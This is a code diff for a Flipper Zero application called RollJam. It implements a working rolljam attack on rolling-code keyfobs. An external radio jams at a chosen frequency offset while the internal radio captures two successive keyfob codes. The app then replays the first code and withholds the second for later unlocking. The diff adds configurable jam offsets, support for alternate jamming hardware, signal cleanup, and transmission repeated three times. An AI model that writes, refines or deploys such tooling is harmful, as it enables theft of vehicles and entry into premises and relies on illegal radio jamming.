g_cap.mod_index = app->mod_index;
|
||||
app->raw_capture_active = true;
|
||||
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
|
||||
app->raw_capture_active, cap_target_first);
|
||||
FURI_LOG_I(TAG, "Capture: RX STARTED");
|
||||
}
|
||||
|
||||
void rolljam_capture_stop(RollJamApp* app) {
|
||||
@@ -260,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
|
||||
FURI_LOG_W(TAG, "Capture stop: was not active");
|
||||
return;
|
||||
}
|
||||
|
||||
app->raw_capture_active = false;
|
||||
|
||||
furi_hal_subghz_stop_async_rx();
|
||||
furi_delay_ms(5);
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
|
||||
cap_callback_count, cap_state, cap_valid_count, cap_total_count);
|
||||
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
|
||||
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
|
||||
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
|
||||
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
|
||||
}
|
||||
@@ -279,53 +450,116 @@ void rolljam_capture_stop(RollJamApp* app) {
|
||||
// ============================================================
|
||||
|
||||
bool rolljam_signal_is_valid(RawSignal* signal) {
|
||||
if(cap_state != CapDone) {
|
||||
// Log every few checks so we can see if callbacks are happening
|
||||
if(g_cap.state != CapDone) {
|
||||
static int check_count = 0;
|
||||
check_count++;
|
||||
if(check_count % 10 == 0) {
|
||||
FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
|
||||
cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
|
||||
}
|
||||
if(check_count % 10 == 0)
|
||||
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
|
||||
g_cap.state, g_cap.callback_count,
|
||||
g_cap.valid_count, g_cap.total_count, (int)signal->size);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(signal->size < MIN_FRAME_PULSES) return false;
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
if(abs_val >= MIN_PULSE_US && abs_val <= MAX_PULSE_US) {
|
||||
good++;
|
||||
}
|
||||
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(!rolljam_has_sufficient_variance(signal)) {
|
||||
signal->size = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
int good = 0;
|
||||
int total = (int)signal->size;
|
||||
for(int i = 0; i < total; i++) {
|
||||
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
|
||||
if(abs_val >= MIN_PULSE_US) good++;
|
||||
}
|
||||
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
|
||||
|
||||
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d",
|
||||
good, total, ratio_pct, total);
|
||||
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
|
||||
return true;
|
||||
}
|
||||
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
|
||||
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
|
||||
signal->size = 0;
|
||||
cap_state = CapWaiting;
|
||||
cap_valid_count = 0;
|
||||
cap_total_count = 0;
|
||||
cap_ctx_reset(&g_cap);
|
||||
return false;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Signal cleanup
|
||||
// ============================================================
|
||||
|
||||
void rolljam_signal_cleanup(RawSignal* signal) {
|
||||
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
|
||||
|
||||
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
|
||||
if(!cleaned) return;
|
||||
size_t out = 0;
|
||||
|
||||
size_t start = 0;
|
||||
while(start < signal->size) {
|
||||
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
|
||||
if(abs_val >= MIN_PULSE_US) break;
|
||||
start++;
|
||||
}
|
||||
|
||||
for(size_t i = start; i < signal->size; i++) {
|
||||
int16_t val = signal->data[i];
|
||||
int16_t abs_val = val > 0 ? val : -val;
|
||||
bool is_positive = (val > 0);
|
||||
|
||||
if(abs_val < MIN_PULSE_US) {
|
||||
if(out > 0) {
|
||||
int16_t prev = cleaned[out - 1];
|
||||
bool prev_positive = (prev > 0);
|
||||
int16_t prev_abs = prev > 0 ? prev : -prev;
|
||||
if(prev_positive == is_positive) {
|
||||
int32_t merged = (int32_t)prev_abs + abs_val;
|
||||
if(merged > 32767) merged = 32767;
|
||||
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
int32_t q = ((abs_val + 50) / 100) * 100;
|
||||
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
|
||||
if(q > 32767) q = 32767;
|
||||
|
||||
if(out < RAW_SIGNAL_MAX_SIZE)
|
||||
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
|
||||
}
|
||||
|
||||
while(out > 0) {
|
||||
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
|
||||
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
|
||||
out--;
|
||||
}
|
||||
|
||||
if(out >= (size_t)MIN_FRAME_PULSES) {
|
||||
size_t orig = signal->size;
|
||||
memcpy(signal->data, cleaned, out * sizeof(int16_t));
|
||||
signal->size = out;
|
||||
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
|
||||
}
|
||||
free(cleaned);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// TX
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
const int16_t* data;
|
||||
size_t size;
|
||||
volatile size_t index;
|
||||
} TxCtx;
|
||||
|
||||
@@ -334,11 +568,9 @@ static TxCtx g_tx;
|
||||
static LevelDuration tx_feed(void* context) {
|
||||
UNUSED(context);
|
||||
if(g_tx.index >= g_tx.size) return level_duration_reset();
|
||||
|
||||
int16_t sample = g_tx.data[g_tx.index++];
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
|
||||
bool level = (sample > 0);
|
||||
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
|
||||
return level_duration_make(level, dur);
|
||||
}
|
||||
|
||||
@@ -347,40 +579,46 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
|
||||
FURI_LOG_E(TAG, "TX: no valid signal");
|
||||
return;
|
||||
}
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
|
||||
|
||||
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz", signal->size, app->frequency);
|
||||
|
||||
furi_hal_subghz_reset();
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(10);
|
||||
|
||||
furi_hal_subghz_load_custom_preset(preset_ook_tx);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
|
||||
const uint8_t* tx_src;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
|
||||
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
|
||||
default: tx_src = preset_ook_tx; break;
|
||||
}
|
||||
furi_hal_subghz_load_custom_preset(tx_src);
|
||||
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
|
||||
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
|
||||
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
FURI_LOG_E(TAG, "TX: start failed!");
|
||||
furi_hal_subghz_idle();
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t timeout = 0;
|
||||
while(!furi_hal_subghz_is_async_tx_complete()) {
|
||||
furi_delay_ms(5);
|
||||
if(++timeout > 2000) {
|
||||
FURI_LOG_E(TAG, "TX: timeout!");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
furi_hal_subghz_idle();
|
||||
furi_delay_ms(5);
|
||||
|
||||
FURI_LOG_I(TAG, "TX: done (%d/%d)", g_tx.index, signal->size);
|
||||
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
|
||||
g_tx.data = signal->data;
|
||||
g_tx.size = signal->size;
|
||||
g_tx.index = 0;
|
||||
|
||||
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
|
||||
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
|
||||
furi_hal_subghz_idle();
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t timeout = 0;
|
||||
while(!furi_hal_subghz_is_async_tx_complete()) {
|
||||
furi_delay_ms(5);
|
||||
if(++timeout > 2000) {
|
||||
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
|
||||
break;
|
||||
}
|
||||
}
|
||||
furi_hal_subghz_stop_async_tx();
|
||||
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
|
||||
tx_repeat, (int)g_tx.index, (int)signal->size);
|
||||
if(tx_repeat < 2) furi_delay_ms(50);
|
||||
}
|
||||
furi_hal_subghz_idle();
|
||||
FURI_LOG_I(TAG, "TX: all repeats done");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
@@ -411,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
|
||||
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Version: 1\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
const char* pname;
|
||||
switch(app->mod_index) {
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
|
||||
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
|
||||
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
|
||||
}
|
||||
|
||||
furi_string_printf(line, "Preset: %s\n", pname);
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
furi_string_printf(line, "Protocol: RAW\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
|
||||
@@ -437,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
|
||||
furi_string_set(line, "RAW_Data:");
|
||||
size_t end = i + 512;
|
||||
if(end > signal->size) end = signal->size;
|
||||
for(; i < end; i++) {
|
||||
for(; i < end; i++)
|
||||
furi_string_cat_printf(line, " %d", signal->data[i]);
|
||||
}
|
||||
furi_string_cat(line, "\n");
|
||||
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
|
||||
}
|
||||
|
||||
furi_string_free(line);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
|
||||
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Save failed!");
|
||||
}
|
||||
|
||||
@@ -15,17 +15,11 @@
|
||||
* This matches the Flipper .sub RAW format.
|
||||
*/
|
||||
|
||||
// Start raw capture on internal CC1101
|
||||
void rolljam_capture_start(RollJamApp* app);
|
||||
|
||||
// Stop capture
|
||||
void rolljam_capture_stop(RollJamApp* app);
|
||||
|
||||
// Check if captured signal looks valid (not just noise)
|
||||
bool rolljam_signal_is_valid(RawSignal* signal);
|
||||
|
||||
// Transmit a raw signal via internal CC1101
|
||||
void rolljam_signal_cleanup(RawSignal* signal);
|
||||
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
// Save signal to .sub file on SD card
|
||||
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
|
||||
|
||||
@@ -43,6 +43,25 @@ const char* mod_names[] = {
|
||||
"FM 476",
|
||||
};
|
||||
|
||||
const uint32_t jam_offset_values[] = {
|
||||
300000,
|
||||
500000,
|
||||
700000,
|
||||
1000000,
|
||||
};
|
||||
|
||||
const char* jam_offset_names[] = {
|
||||
"300 kHz",
|
||||
"500 kHz",
|
||||
"700 kHz",
|
||||
"1000 kHz",
|
||||
};
|
||||
|
||||
const char* hw_names[] = {
|
||||
"CC1101",
|
||||
"Flux Cap",
|
||||
};
|
||||
|
||||
// ============================================================
|
||||
// Scene handlers table (extern declarations in scene header)
|
||||
// ============================================================
|
||||
@@ -100,10 +119,12 @@ static RollJamApp* rolljam_app_alloc(void) {
|
||||
RollJamApp* app = malloc(sizeof(RollJamApp));
|
||||
memset(app, 0, sizeof(RollJamApp));
|
||||
|
||||
// Defaults
|
||||
app->freq_index = FreqIndex_433_92;
|
||||
app->frequency = freq_values[FreqIndex_433_92];
|
||||
app->mod_index = ModIndex_AM650;
|
||||
app->jam_offset_index = JamOffIndex_700k;
|
||||
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
|
||||
app->hw_index = HwIndex_CC1101;
|
||||
|
||||
// Services
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
@@ -159,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
|
||||
// ============================================================
|
||||
|
||||
static void rolljam_app_free(RollJamApp* app) {
|
||||
// Safety: stop everything
|
||||
if(app->jamming_active) {
|
||||
rolljam_jammer_stop(app);
|
||||
}
|
||||
@@ -167,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
|
||||
rolljam_capture_stop(app);
|
||||
}
|
||||
|
||||
// Remove views
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
|
||||
variable_item_list_free(app->var_item_list);
|
||||
|
||||
@@ -180,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
|
||||
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
|
||||
popup_free(app->popup);
|
||||
|
||||
// Core
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
// Services
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
@@ -203,7 +220,7 @@ int32_t rolljam_app(void* p) {
|
||||
|
||||
FURI_LOG_I(TAG, "=== RollJam Started ===");
|
||||
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
|
||||
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", (uint32_t)JAM_OFFSET_HZ);
|
||||
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
@@ -18,14 +18,6 @@
|
||||
|
||||
#define TAG "RollJam"
|
||||
|
||||
// ============================================================
|
||||
// Jam offset: external CC1101 transmits at target + this offset
|
||||
// Victim receiver (wide BW ~300kHz) sees the jam
|
||||
// Our internal CC1101 (narrow BW ~58kHz) rejects it
|
||||
// ============================================================
|
||||
#define JAM_OFFSET_HZ 700000
|
||||
|
||||
// Max raw signal buffer
|
||||
#define RAW_SIGNAL_MAX_SIZE 4096
|
||||
|
||||
// ============================================================
|
||||
@@ -62,6 +54,31 @@ typedef enum {
|
||||
|
||||
extern const char* mod_names[];
|
||||
|
||||
// ============================================================
|
||||
// Jam offsets
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
JamOffIndex_300k = 0,
|
||||
JamOffIndex_500k,
|
||||
JamOffIndex_700k,
|
||||
JamOffIndex_1000k,
|
||||
JamOffIndex_COUNT,
|
||||
} JamOffIndex;
|
||||
|
||||
extern const uint32_t jam_offset_values[];
|
||||
extern const char* jam_offset_names[];
|
||||
|
||||
// ============================================================
|
||||
// Hardware type
|
||||
// ============================================================
|
||||
typedef enum {
|
||||
HwIndex_CC1101 = 0,
|
||||
HwIndex_FluxCapacitor,
|
||||
HwIndex_COUNT,
|
||||
} HwIndex;
|
||||
|
||||
extern const char* hw_names[];
|
||||
|
||||
// ============================================================
|
||||
// Scenes
|
||||
// ============================================================
|
||||
@@ -109,35 +126,33 @@ typedef struct {
|
||||
// Main app struct
|
||||
// ============================================================
|
||||
typedef struct {
|
||||
// Core
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
NotificationApp* notification;
|
||||
Storage* storage;
|
||||
|
||||
// Views / modules
|
||||
VariableItemList* var_item_list;
|
||||
Widget* widget;
|
||||
DialogEx* dialog_ex;
|
||||
Popup* popup;
|
||||
|
||||
// Settings
|
||||
FreqIndex freq_index;
|
||||
ModIndex mod_index;
|
||||
JamOffIndex jam_offset_index;
|
||||
HwIndex hw_index;
|
||||
uint32_t frequency;
|
||||
uint32_t jam_frequency;
|
||||
uint32_t jam_offset_hz;
|
||||
|
||||
// Captured signals
|
||||
RawSignal signal_first;
|
||||
RawSignal signal_second;
|
||||
|
||||
// Jamming state
|
||||
bool jamming_active;
|
||||
FuriThread* jam_thread;
|
||||
volatile bool jam_thread_running;
|
||||
|
||||
// Capture state
|
||||
volatile bool raw_capture_active;
|
||||
|
||||
|
||||
} RollJamApp;
|
||||
|
||||
|
Before Width: | Height: | Size: 90 B After Width: | Height: | Size: 220 B |
@@ -9,9 +9,8 @@
|
||||
static void phase1_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_first.size > 0 &&
|
||||
if(app->signal_first.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_first)) {
|
||||
app->signal_first.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
@@ -26,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FontSecondary, "Starting...");
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
|
||||
|
||||
rolljam_jammer_start(app);
|
||||
furi_delay_ms(300);
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
FontPrimary, "PHASE 1 / 4");
|
||||
if(app->jamming_active) {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "Jamming active...");
|
||||
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
|
||||
} else {
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 16, AlignCenter, AlignTop,
|
||||
FontSecondary, "No ext jammer");
|
||||
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
|
||||
}
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 28, AlignCenter, AlignTop,
|
||||
FontSecondary, "Listening for keyfob");
|
||||
@@ -37,13 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// Start jamming
|
||||
rolljam_jammer_start(app);
|
||||
|
||||
// Start capture
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_blue_100);
|
||||
@@ -63,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
app->signal_first.size);
|
||||
|
||||
// Stop capture cleanly
|
||||
rolljam_capture_stop(app);
|
||||
// Jamming stays active!
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase2);
|
||||
if(!rolljam_signal_is_valid(&app->signal_first)) {
|
||||
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
|
||||
app->signal_first.size = 0;
|
||||
app->signal_first.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_first);
|
||||
app->signal_first.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
|
||||
(int)app->signal_first.size);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled by user");
|
||||
FURI_LOG_I(TAG, "Phase1: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
|
||||
@@ -9,9 +9,8 @@
|
||||
static void phase2_timer_callback(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(app->signal_second.size > 0 &&
|
||||
if(app->signal_second.size >= 20 &&
|
||||
rolljam_signal_is_valid(&app->signal_second)) {
|
||||
app->signal_second.valid = true;
|
||||
view_dispatcher_send_custom_event(
|
||||
app->view_dispatcher, RollJamEventSignalCaptured);
|
||||
}
|
||||
@@ -37,21 +36,14 @@ void rolljam_scene_attack_phase2_on_enter(void* context) {
|
||||
app->widget, 64, 56, AlignCenter, AlignTop,
|
||||
FontSecondary, "[BACK] cancel");
|
||||
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// CRITICAL: completely clear second signal
|
||||
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
|
||||
// Stop previous capture if any
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
// Small delay to let radio settle
|
||||
furi_delay_ms(50);
|
||||
|
||||
// Start fresh capture for second signal
|
||||
rolljam_capture_start(app);
|
||||
|
||||
notification_message(app->notification, &sequence_blink_yellow_100);
|
||||
@@ -71,19 +63,30 @@ bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == RollJamEventSignalCaptured) {
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
|
||||
scene_manager_next_scene(
|
||||
app->scene_manager, RollJamSceneAttackPhase3);
|
||||
if(!rolljam_signal_is_valid(&app->signal_second)) {
|
||||
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
|
||||
app->signal_second.size = 0;
|
||||
app->signal_second.valid = false;
|
||||
furi_delay_ms(50);
|
||||
rolljam_capture_start(app);
|
||||
return true;
|
||||
}
|
||||
|
||||
rolljam_signal_cleanup(&app->signal_second);
|
||||
app->signal_second.valid = true;
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
|
||||
(int)app->signal_second.size);
|
||||
|
||||
rolljam_capture_stop(app);
|
||||
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
|
||||
return true;
|
||||
}
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled by user");
|
||||
FURI_LOG_I(TAG, "Phase2: cancelled");
|
||||
rolljam_capture_stop(app);
|
||||
rolljam_jammer_stop(app);
|
||||
scene_manager_search_and_switch_to_another_scene(
|
||||
|
||||
@@ -10,7 +10,6 @@
|
||||
void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
// UI
|
||||
widget_reset(app->widget);
|
||||
widget_add_string_element(
|
||||
app->widget, 64, 2, AlignCenter, AlignTop,
|
||||
@@ -28,23 +27,18 @@ void rolljam_scene_attack_phase3_on_enter(void* context) {
|
||||
view_dispatcher_switch_to_view(
|
||||
app->view_dispatcher, RollJamViewWidget);
|
||||
|
||||
// LED: green
|
||||
notification_message(app->notification, &sequence_blink_green_100);
|
||||
|
||||
// 1) Stop the jammer
|
||||
rolljam_jammer_stop(app);
|
||||
|
||||
// Small delay for radio settling
|
||||
furi_delay_ms(150);
|
||||
furi_delay_ms(1000);
|
||||
|
||||
// 2) Transmit first captured signal via internal CC1101
|
||||
rolljam_transmit_signal(app, &app->signal_first);
|
||||
|
||||
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
|
||||
|
||||
notification_message(app->notification, &sequence_success);
|
||||
|
||||
// Brief display then advance
|
||||
furi_delay_ms(800);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
|
||||
@@ -4,28 +4,69 @@
|
||||
// Menu scene: select frequency, modulation, start attack
|
||||
// ============================================================
|
||||
|
||||
static uint8_t get_min_offset_index(uint8_t mod_index) {
|
||||
if(mod_index == ModIndex_AM270) return JamOffIndex_1000k;
|
||||
return JamOffIndex_300k;
|
||||
}
|
||||
|
||||
static void enforce_min_offset(RollJamApp* app, VariableItem* offset_item) {
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(app->jam_offset_index < min_idx) {
|
||||
app->jam_offset_index = min_idx;
|
||||
app->jam_offset_hz = jam_offset_values[min_idx];
|
||||
if(offset_item) {
|
||||
variable_item_set_current_value_index(offset_item, min_idx);
|
||||
variable_item_set_current_value_text(offset_item, jam_offset_names[min_idx]);
|
||||
}
|
||||
FURI_LOG_I(TAG, "Menu: offset ajustado a %s para AM270",
|
||||
jam_offset_names[min_idx]);
|
||||
}
|
||||
}
|
||||
|
||||
static VariableItem* s_offset_item = NULL;
|
||||
|
||||
static void menu_freq_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->freq_index = index;
|
||||
app->frequency = freq_values[index];
|
||||
app->frequency = freq_values[index];
|
||||
variable_item_set_current_value_text(item, freq_names[index]);
|
||||
}
|
||||
|
||||
static void menu_mod_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
app->mod_index = index;
|
||||
variable_item_set_current_value_text(item, mod_names[index]);
|
||||
|
||||
enforce_min_offset(app, s_offset_item);
|
||||
}
|
||||
|
||||
static void menu_jam_offset_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
|
||||
uint8_t min_idx = get_min_offset_index(app->mod_index);
|
||||
if(index < min_idx) {
|
||||
index = min_idx;
|
||||
variable_item_set_current_value_index(item, index);
|
||||
}
|
||||
|
||||
app->jam_offset_index = index;
|
||||
app->jam_offset_hz = jam_offset_values[index];
|
||||
variable_item_set_current_value_text(item, jam_offset_names[index]);
|
||||
}
|
||||
|
||||
static void menu_hw_changed(VariableItem* item) {
|
||||
RollJamApp* app = variable_item_get_context(item);
|
||||
uint8_t index = variable_item_get_current_value_index(item);
|
||||
app->hw_index = index;
|
||||
variable_item_set_current_value_text(item, hw_names[index]);
|
||||
}
|
||||
|
||||
static void menu_enter_callback(void* context, uint32_t index) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
if(index == 2) {
|
||||
// "Start Attack" item
|
